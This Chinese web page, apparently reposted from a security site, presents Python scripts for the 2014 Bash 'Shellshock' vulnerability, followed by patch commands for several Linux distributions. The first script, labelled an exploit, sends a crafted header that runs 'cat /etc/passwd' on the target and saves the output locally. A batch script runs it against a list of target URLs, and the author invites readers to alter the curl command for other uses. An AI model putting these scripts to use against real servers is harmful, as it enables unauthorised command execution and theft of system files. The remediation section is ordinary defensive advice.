Bash漏洞批量检测工具与修复方案
Linux官方内置Bash中新发现一个非常严重安全漏洞,黑客可以利用该Bash漏洞完全控制目标系统并发起攻击。
Bash远程命令执行漏洞(CVE2014-6271)检测脚本
作者:ziwen(dn8.net团队)
运行环境:python 2.7
#!/usr/bin/env python
#coding:utf-8
import os
import sys
import re
print "f4ck ziwen cve 2014 6271 exp attacking!"
if sys.argv[1].startswith('-'):
option = sys.argv[1][1:]
if option == 'url':
b=sys.argv[2]
if not re.match("http",sys.argv[2]):
print "URL格式错误 正确格式例如http://www.baidu.com/1.cgi"
else:
out=re.sub(".|/","",b)
out=out[7:]
print "shahdashhdd",out,b
a="curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo "a: $a"' '"+b+"' -I -o "+out+""output".txt"
os.system(a)
f = open(out+"output.txt", 'r')
a=f.read()
if re.search("root|bin/bash",a):
print "target possible have bug under is *nix passwd file"
print a
else:
f.close()
os.remove(out+"output.txt")
print "possible dont have bug! or have a waf!"
else:
print "error! U can email to me U question (ziwen@21.wf)"
print option
下载地址
http://pan.baidu.com/s/1i3oVFV3
脚本会将结果回显出来 如果存在漏洞的话还会把passwd文件保存在以目标域名+output命名的txt文档里,不成功不保存
执行方法
python c:exp.py -url
http://23.239.208.105/cgi-bin/poc.cgi
批量检测是否存在Bash远程命令执行漏洞
#!/usr/bin/env python
#coding:utf-8
import os
import sys
PATH=sys.path[0]+"/"
text=open(PATH+"target.txt",'r')
for line in text:
print line
os.system("python "+PATH+"exp.py -url "+line)
下载地址
http://pan.baidu.com/s/1sjBFWhn
该脚本调用了上面那个EXP 所以请运行该脚本时请将两个脚本放同一目录 并在该目录下新建target.txt文件将您的目标列表放进文件里 如: http://www.baidu.com http://23.239.208.105/cgi-bin/poc.cgi
然后运行该脚本即可 该脚本便会自动按顺序检测 会把结果回显出来 并会把成功的目标的passwd文件保存在 以目标域名+output命名的txt文档里,不成功不保存
请不要随意改变exp.py的文件名 如果改变了EXP.PY的文件名请将batch.py里面的exp.py改为您修改的文件名 否则batch.py会运行失败
其他
linux如果用不了上面那个版本请试下这个Linux专版 http://pan.baidu.com/s/1hq7oCYw windows用不了请试试下面这个windows专版 http://pan.baidu.com/s/1kTmjNKV
如果需要生成其他文件或者利用漏洞做其他事请自行修改脚本中的curl命令 个别报错报CURL命令错误的是CURL版本问题,不是我脚本问题,我这边多个基友都测试了无误
漏洞修复方案
请您根据Linux版本选择您需要修复的命令, 为了防止意外情况发生,建议您执行命令前先对Linux服务器系统盘打个快照,如果万一出现升级影响您服务器使用情况,可以通过回滚系统盘快照解决。 centos:(最终解决方案)
yum clean all
yum makecache
yum -y update bash
ubuntu:(最终解决方案)
apt-get update
apt-get -y install --only-upgrade bash
debian:(最终解决方案)
7.5 64bit && 32bit
apt-get update
apt-get -y install --only-upgrade bash
6.0.x 64bit
wget http://mirrors.aliyun.com/debian/pool/main/b/bash/bash_4.1-3+deb6u2_amd64.deb && dpkg -i bash_4.1-3+deb6u2_amd64.deb
6.0.x 32bit
wget http://mirrors.aliyun.com/debian/pool/main/b/bash/bash_4.1-3+deb6u2_i386.deb && dpkg -i bash_4.1-3+deb6u2_i386.deb
aliyun linux:(最终解决方案)
5.x 64bit
wget http://mirrors.aliyun.com/centos/5/updates/x86_64/RPMS/bash-3.2-33.el5_10.4.x86_64.rpm && rpm -Uvh bash-3.2-33.el5_10.4.x86_64.rpm
5.x 32bit
wget http://mirrors.aliyun.com/centos/5/updates/i386/RPMS/bash-3.2-33.el5_10.4.i386.rpm && rpm -Uvh bash-3.2-33.el5_10.4.i386.rpm
opensuse:(最终解决方案)
zypper clean
zypper refresh
zypper update -y bash
[参考信息来源:http://bbs.aliyun.com/read/176977.html?spm=5176.7189909.3.15.sZTgst,转载请注明来自FreeBuf.COM]
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- TypeScript里一些特殊的类型
- TypeScript的类型断言,有点像ABAP的强制类型转换
- 什么是TypeScript的字符串索引签名
- [初探] proxy 的优势与使用场景
- TypeScript里的interface和class以及对应的JavaScript代码
- TypeScript里的interface扩展,多继承以及对应的JavaScript代码
- TypeScript里的混合类型
- 完全图解 HTTPS
- TypeScript里的完整函数定义语法
- TypeScript里的类型为any和泛型的区别
- 乐观锁、悲观锁,这一篇就够了!
- 面向切片编程(AOP)应用的一些实际例子
- 计数计量单位KMGTPEZY【计算机】【天文】
- 不用临时的变量 优雅、高效的交换两个数方法
- SAP offline OData插件的JavaScript代码是如何调用到Android平台的Java代码的